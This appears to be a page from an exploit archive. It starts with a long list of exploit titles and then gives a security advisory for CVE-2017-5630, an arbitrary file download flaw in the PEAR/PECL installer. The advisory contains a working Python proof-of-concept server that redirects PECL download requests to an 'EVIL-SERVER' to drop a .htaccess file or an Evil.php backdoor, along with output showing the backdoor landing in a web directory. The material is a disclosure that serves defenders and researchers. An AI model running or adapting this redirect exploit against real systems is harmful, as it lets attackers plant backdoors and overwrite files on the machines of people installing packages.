
39 new exploits OpenSSL 1.1.0 - Remote Client Denial of Service CDRTools CDRecord 2.0 - Mandrake Privilege Escalation CDRTools CDRecord 2.0 (Mandrake / Slackware) - Privilege Escalation RedHat 6.2 /usr/bin/rcp - SUID Privilege Escalation Exploit RedHat 6.2 /usr/bin/rcp - SUID Privilege Escalation BitchX 1.0c19 - Privilege Escalation (suid?) Apache 1.3.31 (mod_include) - Local Buffer Overflow BitchX 1.0c19 - Privilege Escalation Apache 1.3.31 mod_include - Local Buffer Overflow AIX 4.3/5.1 < 5.3 - lsmcode Command Execution Privilege Escalation AIX 4.3/5.1 < 5.3 - 'lsmcode' Command Execution Privilege Escalation Debian 2.2 - /usr/bin/pileup Privilege Escalation Debian 2.2 /usr/bin/pileup - Privilege Escalation Oracle 10g (Windows x86) - (PROCESS_DUP_HANDLE) Local Privilege Elevation GIMP 2.2.14 (Windows x86) - '.ras' Download/Execute Buffer Overflow Notepad++ 4.1 (Windows x86) - '.ruby' File Processing Buffer Overflow IBM AIX 5.3 sp6 - ftp gets() Privilege Escalation IBM AIX 5.3 SP6 - FTP gets() Privilege Escalation IBM AIX 5.3.0 - setlocale() Privilege Escalation IBM AIX 5.3.0 - 'setlocale()' Privilege Escalation FreeBSD 6x/7 - protosw kernel Local Privilege Escalation Exploit FreeBSD 6x/7 protosw Kernel - Privilege Escalation PHP 5.2.9 (Windows x86) - Local Safemod Bypass Exploit HTMLDOC 1.9.x-r1629 (Windows x86) - Local .html Buffer Overflow (Linux Kernel 2.6.34-rc3) ReiserFS (RedHat / Ubuntu 9.10) - xattr Privilege Escalation (Linux Kernel 2.6.34-rc3) ReiserFS (RedHat / Ubuntu 9.10) - 'xattr' Privilege Escalation Linux Kernel 4.6.3 - 'Netfilter' Privilege Escalation (Metasploit) Linux Kernel 4.6.3 (x86) - 'Netfilter' Privilege Escalation (Metasploit) FreeBSD 6.4 - Netgraph Local Privilege Escalation Exploit FreeBSD 6.4 - Netgraph Privilege Escalation PHP 5.4.3 (Windows x86 Polish) - Code Execution Apache (Mod_Auth_OpenID) - Session Stealing Apache Mod_Auth_OpenID - Session Stealing cPanel 5.0 - Openwebmail Privilege Escalation cPanel 5.0 - 'Openwebmail' Privilege Escalation Apache 2.0.4x (mod_php) - File Descriptor Leakage (1) Apache 2.0.4x (mod_php) - File Descriptor Leakage (2) Apache 2.0.4x mod_php - File Descriptor Leakage (1) Apache 2.0.4x mod_php - File Descriptor Leakage (2) Apache 2.0.4x (mod_perl) - File Descriptor Leakage (3) Apache 2.0.4x mod_perl - File Descriptor Leakage (3) cPanel 5-9 - Privilege Escalation cPanel 5 < 9 - Privilege Escalation Apache 1.3.x (mod_include) - Local Buffer Overflow Apache 1.3.x mod_include - Local Buffer Overflow IBM AIX 5.x - Diag Privilege Escalation Vulnerabilities IBM AIX 5.x - 'Diag' Privilege Escalation Nginx (Debian-Based + Gentoo) - 'logrotate' Local Privilege Escalation Nginx (Debian-Based Distros + Gentoo) - 'logrotate' Privilege Escalation Amanda 3.3.1 - amstar Command Injection Privilege Escalation Amanda 3.3.1 - 'amstar' Command Injection Privilege Escalation Microsoft Windows 7 SP1 (x86) - 'WebDAV' Privilege Escalation (MS16-016) (1) Deepin Linux 15 - lastore-daemon Privilege Escalation Microsoft Windows 7 SP1 (x86) - 'WebDAV' Privilege Escalation (MS16-016) (1) Deepin Linux 15 - 'lastore-daemon' Privilege Escalation Microsoft Windows - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) Microsoft Windows 7 (x64) - 'afd.sys' Privilege Escalation (MS14-040) Microsoft Windows 7 (x64) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) Microsoft Windows 8.1/10 (x86) - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032) Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' Privilege Escalation Microsoft Windows (x86) - 'afd.sys' Privilege Escalation (MS11-046) Allwinner 3.4 Legacy Kernel - Local Privilege Escalation (Metasploit) Allwinner 3.4 Legacy Kernel - Privilege Escalation (Metasploit) Microsoft Windows (x86) - 'NDISTAPI' Privilege Escalation (MS11-062) MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - 'mysql' System User Privilege Escalation / Race Condition MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - ('mysql' System User) Privilege Escalation / Race Condition MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - 'root' Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - ('root' System User) Privilege Escalation Linux Kernel 4.4 (Ubuntu 16.04) - BPF Local Privilege Escalation (Metasploit) Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Privilege Escalation (Metasploit) Apache CouchDB 2.0.0 - Local Privilege Escalation Apache CouchDB 2.0.0 - Privilege Escalation Vesta Control Panel 0.9.8-16 - Local Privilege Escalation Vesta Control Panel 0.9.8-16 - Privilege Escalation Systemd 228 - Privilege Escalation (PoC) Systemd 228 (SUSE 12 SP2 / Ubuntu Touch 15.04) - Privilege Escalation (PoC) Oracle VM VirtualBox < 5.0.32 / < 5.1.14 - Privilege Escalation (PoC) Apache 1.3.x (mod_mylo) - Remote Code Execution Apache 1.3.x mod_mylo - Remote Code Execution Apache 1.3.x < 2.0.48 (mod_userdir) - Remote Users Disclosure Apache 1.3.x < 2.0.48 mod_userdir - Remote Users Disclosure Microsoft Windows (x86) - Metafile '.emf' Heap Overflow (MS04-032) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Exploit (2) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Exploit Veritas NetBackup 6.0 (Windows x86) - (bpjava-msvc) Remote Exploit Apache (mod_rewrite) (Windows x86) - Off-by-One Remote Overflow Apache mod_rewrite (Windows x86) - Off-by-One Remote Overflow 3proxy 0.5.3g (Windows x86) - proxy.c logurl() Remote Buffer Overflow Apache (mod_rewrite) 2.0.58 (Windows 2003) - Remote Overflow Apache 2.0.58 mod_rewrite (Windows 2003) - Remote Overflow Apache Tomcat Connector (mod_jk) - Remote Exploit (exec-shield) Apache Tomcat Connector mod_jk - 'exec-shield' Remote Exploit 3proxy 0.5.3g (Windows x86) - logurl() Remote Buffer Overflow (Perl) SapLPD 6.28 (Windows x86) - Remote Buffer Overflow Apache 2.0 mod_jk2 2.0.2 (Windows x86) - Remote Buffer Overflow Apache Tomcat Connector jk2-2.0.2 (mod_jk2) - Remote Overflow Apache Tomcat Connector jk2-2.0.2 mod_jk2 - Remote Overflow Apache mod_jk 1.2.19 (Windows x86) - Remote Buffer Overflow Apache (mod_perl) - 'Apache::Status' / 'Apache2::Status' Cross-Site Scripting Apache mod_perl - 'Apache::Status' / 'Apache2::Status' Cross-Site Scripting Apache 2.2.14 (mod_isapi) - Dangling Pointer Remote SYSTEM Exploit Apache 2.2.14 mod_isapi - Dangling Pointer Remote SYSTEM Exploit Apache (mod_proxy) - Reverse Proxy Exposure (PoC) Apache mod_proxy - Reverse Proxy Exposure (PoC) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Exploit (1) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Exploit Apache 2.2.6 (mod_negotiation) - HTML Injection and HTTP Response Splitting Apache 2.2.6 mod_negotiation - HTML Injection and HTTP Response Splitting Apache 7.0.x (mod_proxy) - Reverse Proxy Security Bypass Apache 7.0.x mod_proxy - Reverse Proxy Security Bypass Apache 2.2.15 (mod_proxy) - Reverse Proxy Security Bypass Apache 2.2.15 mod_proxy - Reverse Proxy Security Bypass Apache (mod_wsgi) - Information Disclosure Apache mod_wsgi - Information Disclosure Flatnuke 2.5.6 - Privilege Escalation / Remote Commands Execution Exploit Flatnuke 2.5.6 - Privilege Escalation / Remote Commands Execution phpGraphy 0.9.12 - Privilege Escalation / Commands Execution Exploit phpGraphy 0.9.12 - Privilege Escalation / Commands Execution PEAR 1.9.0 - Multiple Remote File Inclusion PHP PEAR 1.9.0 - Multiple Remote File Inclusion Pear HTTP_Upload 1.0.0b3 - Arbitrary File Upload PHP PEAR HTTP_Upload 1.0.0b3 - Arbitrary File Upload Radisys MRF - Command Injection PHP PEAR 1.10.1 - Arbitrary File Download Caregiver Script 2.57 - SQL Injection Auction Script 6.49 - SQL Injection Itech B2B Script 4.28 - SQL Injection Itech Classifieds Script 7.27 - 'scat' Parameter SQL Injection Itech Dating Script 3.26 - SQL Injection Itech Freelancer Script 5.13 - SQL Injection Itech Multi Vendor Script 6.49 - SQL Injection Itech News Portal Script 6.28 - SQL Injection Itech Real Estate Script 3.12 - SQL Injection PHP Product Designer Script - Arbitrary File Upload PHP Logo Designer Script - Arbitrary File Upload Video Sharing Script 4.94 - SQL Injection HelpDeskZ < 1.0.2 - Authenticated SQL Injection / Unauthorized File Download Itech Classifieds Script 7.27 - 'pid' Parameter SQL Injection Itech Dating Script 3.26 - 'send_gift.php' SQL Injection Itech Real Estate Script 3.12 - 'id' Parameter SQL Injection
140 lines
No EOL
3.9 KiB
Text
Executable file
140 lines
No EOL
3.9 KiB
Text
Executable file
[+]#############################################################################################
|
|
[+] Credits / Discovery: John Page AKA hyp3rlinx
|
|
[+] Website: hyp3rlinx.altervista.org
|
|
[+] Source: http://hyp3rlinx.altervista.org/advisories/PEAR-ARBITRARY-FILE-DOWNLOAD.txt
|
|
[+] ISR: ApparitionSEC
|
|
[+]#############################################################################################
|
|
|
|
|
|
|
|
Vendor:
|
|
============
|
|
pear.php.net
|
|
|
|
|
|
|
|
Product:
|
|
===================================
|
|
PEAR Base System v1.10.1
|
|
PEAR Installer's download utility
|
|
|
|
|
|
|
|
Vulnerability Type:
|
|
=======================
|
|
Arbitrary File Download
|
|
|
|
|
|
|
|
CVE Reference:
|
|
==============
|
|
CVE-2017-5630
|
|
|
|
|
|
|
|
Security Issue:
|
|
================
|
|
|
|
The download utility class in the Installer in PEAR Base System v1.10.1, does not validate file types and filenames after a redirect,
|
|
which allows remote HTTP servers to overwrite files via crafted responses, as demonstrated by a .htaccess overwrite.
|
|
|
|
e.g.
|
|
|
|
pecl download <http://some-vuln-server/file.tgz>
|
|
|
|
PEAR does not rename the arbitrary invalid file to the originally requested (safe) filename.
|
|
Therefore, attackers can overwrite files or download a backdoor if the PECL request is made from from web accesible directory etc..
|
|
|
|
Moreover, PECL doesn't delete these invalid files upon download, giving the attacker time to exploit it if attackers
|
|
can force the HTTP connection to stay open, and before a "invalid file message" is noticed.
|
|
|
|
POC Video:
|
|
https://vimeo.com/201341280
|
|
|
|
|
|
Proof of concept:
|
|
This POC involves 3 machines:
|
|
First machine is victim making a PECL download command request
|
|
Second is the vuln server receiving the file download request
|
|
Third is the malicious server hosting the PHP backdoor, .htaccess file etc.
|
|
===========================================================================
|
|
|
|
1) Victim machine attempts to download a legit ".tgz" archive.
|
|
|
|
pecl download http://VULN-SERVER:8080/Test.tgz
|
|
|
|
|
|
2) VULN-SERVER where the victim is requesting "Test.tgz", and attacker controls HTTP response.
|
|
|
|
|
|
3) EVIL-SERVER where PECL follows and downloads 'unintended' Evil.php backdoor.
|
|
python -m SimpleHTTPServer 8888
|
|
|
|
|
|
On VULN-SERVER run "PECL-File-Exploit.py"
|
|
|
|
python PECL-File-Exploit.py
|
|
|
|
|
|
import socket
|
|
|
|
HOST='localhost'
|
|
PORT=8080
|
|
TARGET='http://EVIL-SERVER:8888/'
|
|
FILE='.htaccess'
|
|
s = socket.socket()
|
|
s.bind((HOST, PORT))
|
|
s.listen(10)
|
|
|
|
print 'Waiting for PECL connections...'
|
|
|
|
|
|
while True:
|
|
conn, addr = s.accept()
|
|
junk = conn.recv(512)
|
|
conn.send('HTTP/1.1 302 Found\r\n')
|
|
conn.send('Location: '+TARGET+FILE+'\r\n')
|
|
conn.close()
|
|
s.close()
|
|
|
|
|
|
|
|
Then, make request for Test.tgz...
|
|
|
|
C:\xampp\htdocs\webapp>pecl download http://VULN-SERVER:8080/Test.tgz
|
|
|
|
downloading Evil.php ...
|
|
Starting to download Evil.php (4,665 bytes)
|
|
.....done: 4,665 bytes
|
|
File C:\xampp\htdocs\webapp\Evil.php downloaded
|
|
|
|
|
|
|
|
Disclosure Timeline:
|
|
=====================================
|
|
Vendor Notification: January 11, 2017
|
|
Informed "PECL package no longer maintained" : January 23, 2017
|
|
Opened Bug #2117 : January 25, 2017
|
|
January 29, 2017 : Public Disclosure
|
|
|
|
|
|
|
|
Network Access:
|
|
================
|
|
Remote
|
|
|
|
|
|
|
|
Severity:
|
|
=========
|
|
High
|
|
|
|
|
|
|
|
[+] Disclaimer
|
|
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
|
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
|
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
|
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
|
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
|
or exploits by the author or elsewhere. |